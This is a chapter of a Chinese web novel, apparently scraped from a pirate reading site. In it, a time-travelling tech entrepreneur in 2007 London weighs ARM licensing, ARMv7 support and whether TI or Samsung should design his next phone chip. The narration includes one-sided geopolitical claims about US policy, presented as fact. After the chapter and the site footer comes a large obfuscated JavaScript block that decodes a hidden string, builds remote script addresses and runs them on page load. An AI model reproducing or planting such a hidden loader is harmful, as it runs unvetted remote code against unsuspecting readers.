首页
第364章 伦敦,芯片,架构
返回

第364章 伦敦,芯片,架构

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    2019年,阳光,云雾。
    戴着墨镜的女人眼神俯瞰下方的城市,拉了拉身旁的男人的衣袖,有些激动地道:“老公!好漂亮哦!”
    男人抱着手,心不在焉地“嗯”了一声。
    女人孜孜不倦:“你看,旁边好大的海!好蓝!以后我们就住这里嘛!”
    男人叹了口气,翻了个白眼。
    “大哥,这是希腊!有啥好住的嘛,穷得闹革命!年年靠借钱过日子!”
    “希腊,希腊也好撒!雅典奥运会,是不是这儿?”
    “.一会我们还要转机去葡萄牙,然后坐大巴去马德里,行程紧得很,你别闹我,我睡会。”
    “那我今天在马德里皇宫拍完照,明天是不是可以去意大利卢浮宫啊!我们逛一圈,我喜欢哪里,以后就住哪里,好不好?”
    男人咧嘴,抬手比了个“6”。
    “欧洲五猪你一下挑中三个,也是绝了。”
    “什么五猪啊?”女人眼神清澈。
    “没啥,我再睡会。”
    男人颇为无趣地摆了摆手,脑袋侧靠,对下面的汪洋大海并不是很感兴趣,反倒对这两天的饮食有些水土不服,靠了一会,有些想念起重庆火锅。
    2007年2月的伦敦,像一张被水浸湿的报纸。
    陈学兵思绪回转,透过舷窗俯瞰泰晤士河时,机舱广播正用英式英语播报地面温度——4摄氏度,阴有小雨。
    逐渐接近的希斯罗机场T3航站楼的玻璃幕墙泛着铁灰色,看上去竟与出发时的北京首都机场有着相似的雄浑。
    北京首都机场是近十来年提升修建规模的,T3航站楼至今还没竣工,采用的都是最新的工艺,而这个机场的航站楼几十年前就投入使用了。
    欧洲的力学体系发展得早,日不落帝国更是狠狠辉煌过,老建筑比中国要大得多。
    不过新的就未必了。
    前世他也去过不少国家,欧洲去过两次,相隔近十年,变化实在太小了,要看现代感的高楼大厦和城市繁华,还得是中东、东京、芝加哥、新加坡、纽约。
    中国繁华程度没这么密集,除了香港上海BJ深圳广州重庆武汉天津台北杭州苏州南京西安青岛成都等地方属于世界难见的繁华其他地方大概就是省均1-2个中等国家首都的程度。
    “2004年的欧盟东扩,一次性接纳了10个中东欧国家,欧盟成员国增加到25个,很多移民通过欧盟一体化移民到英国,争抢本地人的就业机会,英国今年开始注重就业问题。”
    后藤美树在陈学兵身边小声说道。
    陈学兵点点头。
    欧盟迅速扩张,还要用各国缴纳的会费扶贫,增强欧盟一体化,发展欧元,给其中发达的成员国带来了很大的负担。
    同时也搞得老美很紧张。
    老美在欧元诞生的第三个月就发动了科索沃战争,制造欧洲动荡,后来又通过伊拉克战争推高油价,引发欧元区通胀。
    美国这些年疯狂搞事,一是给军工集团谋福利,二则为了搞欧元,维持美元霸权,三是让全世界,主要是欧洲的避险资金进入美国怀抱。
    也因此,这些年的911,中东帝国坟场,美元欧元暗斗牵制了老美大量的精力,给了中国畅快发展贸易的十年。
    三年后,由高盛包装的希腊债务危机彻底爆发,索罗斯又趁机带头做空,欧元区内部发生“救不救”,“留不留”的严重分歧,内部秩序乱了,希腊又带动“欧猪五国(南欧债务国简称PIIGS)”开始拖后腿,欧元大幅度丧失竞争力,本在08年金融危机中损失惨重的美国金融机构通过做空欧洲大幅度回血,美元指数回升,美国的战略重心才重返亚太,介入东亚经济整合,制造安全议题。
    招数其实还是没变。
    不过这次的对手不是散装的欧洲,对手周边也是东亚怪物房,老美在这里吃过更大的亏,通过物理战争手段引发动荡制造美元回流的方式不好用了,只能把小弟们召集起来,扩大经济摩擦,下一个十年间,逐渐引发了新的世界秩序——逆全球化。
    欧洲这地方,对美国一直有点不切实际的幻想,觉得大家至少是一起收割世界的结拜兄弟,结果却被老美当成主菜,趴在身上狠狠的吸,放血的管子还插了两根,金融和石油。
    英国不同于欧洲,第一次工业革命以后确立海上霸权,逐渐成为拥有半个地球殖民地的老大哥,北美最早的殖民者和掌权者就是英格兰和苏格兰人,跟美国是有血缘的盎格鲁撒克逊兄弟,版图又是海上孤岛,独立于欧洲大陆之外,一直有点自己的想法。
    不过属于它的时代已经过去了,曾经的外部领地逐渐脱离,主体的大不列颠岛和北爱尔兰岛只有24万平方公里,跟广西一样大,后来居然还搞大公投,被民意裹挟脱欧,GDP十几年不增长,越混越出圈。
    陈学兵思绪转动,看着下面老楼新楼杂乱无章的城市规划,这个小地方居然有一部300年世界史,觉得很有意思。
    话说乾隆五十八年(1793年)英政府就派人来中国展示工业革命成果了,还留下了记录,就算乾隆那会老糊涂了,可后面的三个皇帝嘉庆、道光、咸丰工作态度都算勤恳过,干了60来年,居然没有一个搞工业的,后面的同治又是个专心致志的嫖客,唯一一个有点想法的光绪还被姨妈临走时一起带走了,清朝的命也是够薄的。
    这下面有些建筑,可能在李鸿章出海的时候就存在了吧?
    李鸿章当时看到的美国,是否跟如今的英国有些许相似?
    但这些建筑已经不能再让人感到恐惧了。
    陈学兵只觉得有些超越强国的安全感和这一切来之不易,存之也不易的警惕感。
    有人说出国能让人爱国,他这一刻觉得很有道理,不过这句话是对于了解自身民族历史的人而言的。
    前世他没多大能力,想过逃离国内,到国外当个小包工头,认真思索时却又对未来充满迷茫。
    活在异国他乡,没什么意思。
    这一世,他还要走出去。
    不过心态已经截然不同了。
    ——他其实挺喜欢那些风景的,但手续太麻烦了,逛的时候,最好不用出国。
    酒店门口,柴油味裹着冷风。
    红色双层巴士碾过积水,背面贴着一则广告:华为&英国电信的企业标志和3G基站标志,海报下方还有个穿曼联球衣的男孩在玩诺基亚N95。
    “诶,诶。”陈学兵拍了拍林斌的胳膊,朝缓缓驶过的公交车指去,“你说人家这广告接得够杂的啊,你打听打听,N95换麒麟手机,多少钱?”
    林斌转头定睛一看,笑了笑。
    “你可是答应了苹果,麒麟不能进欧洲的。”
    陈学兵摆摆手:“呵,你就是太纯情了,大家临时搭个伙,你还真当一辈子的约定了?”
    林斌摇摇头道:“我是怕你到了这里又想着开拓别的市场,还是专心致志把ARM搞定吧,我们昆仑系统的内存管理单元、电源管理框架、安全启动链、图形单元,全都是针对ARM提供的内核授权、基础文档和指令集的深度定制,指令集还是上一个版本ARMv6,现在最新的ARMv7指令集不授权给我们,收购的事情又没确定下来,我们制作的开发工具链层还不知道要不要深度耦合ARM特性,开发工具链涉及到系统程序推广,大家都在等着,你得尽快确定下来。”
    智能手机系统与处理器架构的关系,本质像是“灵魂与躯壳”,能效比、并行计算、内存管理,都是架构指令集决定的,没有这些,智能手机就是块砖。
    “等什么?做就完了!”陈学兵眼睛一瞪。
    要是有得选,他当然会选择自己开发可控的架构和指令集。
    至少也会一边用ARM,一边开发。
    但现在可用的架构就几款,MIPS是给学习机和山寨机用的,SH-Mobile是少数日本翻盖机的专属,x86指令集复杂,耗电高得要死,只适合电脑和插电使用的PDA。
    真正的可替代选择是RISC-V,美国加州大学伯克利分校做出的开放指令集架构,任何人都可以免费使用、修改、拓展。
    但这个架构还要好多年才会发布,虽然不记得具体年份,但他记得是在内涵段子APP上看到RISC—V公开免费的新闻的,那时候内涵段子都已经很火。
    内涵段子火起来,那都多少年以后了。
    陈学兵想着,态度愈加坚定起来:“我肯定会谈成,ARM不同意,我就收了他总部,编译器的事情你们尽管做,系统指令集也会升级到v7。”
    林斌叹了口气,耐心解释道:“不是这么简单的Linux内核是与架构无关的C代码,通过不同架构的底层适配层实现跨平台支持,而Linux2.6版本只默认支持ARMv4T至ARMv6,不支持v7,所以,我们需要ARM先将ARMv7的指令集和技术文档授权给我们,还要拿着这套技术文档联系Linux基金会,给内核打补丁,等补丁打完了,不光是编译器,系统底层适配层的代码也可以升级,流畅性还有很大的提升空间。”
    “哦”陈学兵略微尴尬了一下,他的知识点比较散装,过于专业的东西还不是太懂。
    不过转念一想,又高兴起来。
    “升级以后,流畅性能不能做到IPHONE的程度?”
    “那是肯定的。”林斌笃定道,而后又是一个转折:“不过.这款系统升级要下一代芯片才能用,因为ARMV7指令集只有支持ARMV7架构的芯片才能用,芯片硬件电路需按此规范设计才能正确解码执行指令,ARMv7的指令在ARMv6芯片上会被视为乱码,我们现在的芯片是v6,支持不了。”
    陈学兵顿时失望,又似懂非懂地问道:“v7,我记得设计需求就是65nm工艺吧?这个架构前年就公布了,我们拿到了65nm产能,为什么没让marvell设计v7架构?”
    “不止是制造工艺的问题。”林斌摇摇头:“ARMv7虽然公布比较早,但Compiler4.0工具链才刚刚公布,开发者是无法提前适配的,这个版本,大家都才刚起步,而且v7架构的复杂度可是翻了4倍以上,能够完全地发挥出65nm的性能,你要让人给你设计v7芯片价格也比现在这款要高得多。”
    陈学兵眼神暗了一些:“那这个升级版本的系统,没有一两年是用不上了?而且照这个说法.V7架构的芯片即使两三年内也会很少吧,我们的那些下游厂商大概是用不起,这个升级版,我们几乎就是自用了?”
    “系统升级开发也是需要大量时间的。”林斌顿了顿,语重心长道:“这是提前布局,也是锻炼能力,昆仑事业部在不断补充高手,现在各个部门都上路了,没有盈利考核,大家一心搞研发,系统优化速度很快,有些优化是有上限的,要接着走下去,必须是内核代码、芯片、架构整体的提升,咱们能快速走到为未来布局这一步,是大好事。”
    “另外.下一步的比拼,主要就看芯片了,V7架构芯片难道你不打算率先开发?我们目前这一代芯片Marvell做得还算不错,可是接下来你还要不要升级换代,准备找谁来做?我们的设计团队还不成熟,这些事,你要好好想想了,提前布局。”
    陈学兵闻言忽然意识到,好像是挺急的。
    按照手机芯片升级频率,这一代产品面世,下一代的芯片就可以开始设计了。
    65nm级,一两年内虽然还会处于领先,但他并不想让芯片设计留在原地。
    苹果肯定也不会停的。
    2008奥运版,要用上v7。
    “不能再找Marvell了,我们要请高手,更高的手。”
    陈学兵说着,和林斌相视。
    两秒后,俩人共同说出了两个答案。
    “博通。”
    “TI。”
    陈学兵愣了一下:“博通不行吗?”
    “切。”林斌摆了摆手:“博通是通信和连接芯片的霸主,手机CPU设计,你要么找TI(德州仪器),要么找三星!博通CPU,就是ARM公版的依赖者!找他们,你还不如找Marvell!”
    陈学兵信仰崩塌:“妈的,我一直以为他们很厉害呢。”
    林斌笑了:“博通是在芯片设计领域享有盛名,不过人家是有专攻的,这方面你的信息不够全面,哪家强哪家弱,网上是查不到的,谁都会说自己强,你得多听内行人的,当初Marvell就是我推荐的,针对的就是你对触屏机的需求,结果做得还不错吧?现在我们要找更好的,能解决我们问题的设计方,我推荐的就这两家,要么TI,要么三星。”
    陈学兵深呼吸,整理了一下信息。
    “TI可是诺基亚的御用商,诺基亚很快要来揍我们了…不好办啊。”
    他下意识排除了三星。
    林斌笑了笑,拍拍陈学兵的胳膊:“这两家我也使不上力,只能交给你了。”
    此时,后藤美树从酒店出来对俩人招了招手,表示入住已经办好了。
    陈学兵拍了拍后脑勺。
    这一下,林斌算是把他刚至英国产生的一些杂念给彻底消除了。
    事真特么多,还是一件件办好吧。
    “走走走,上楼休息,先办ARM!”
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();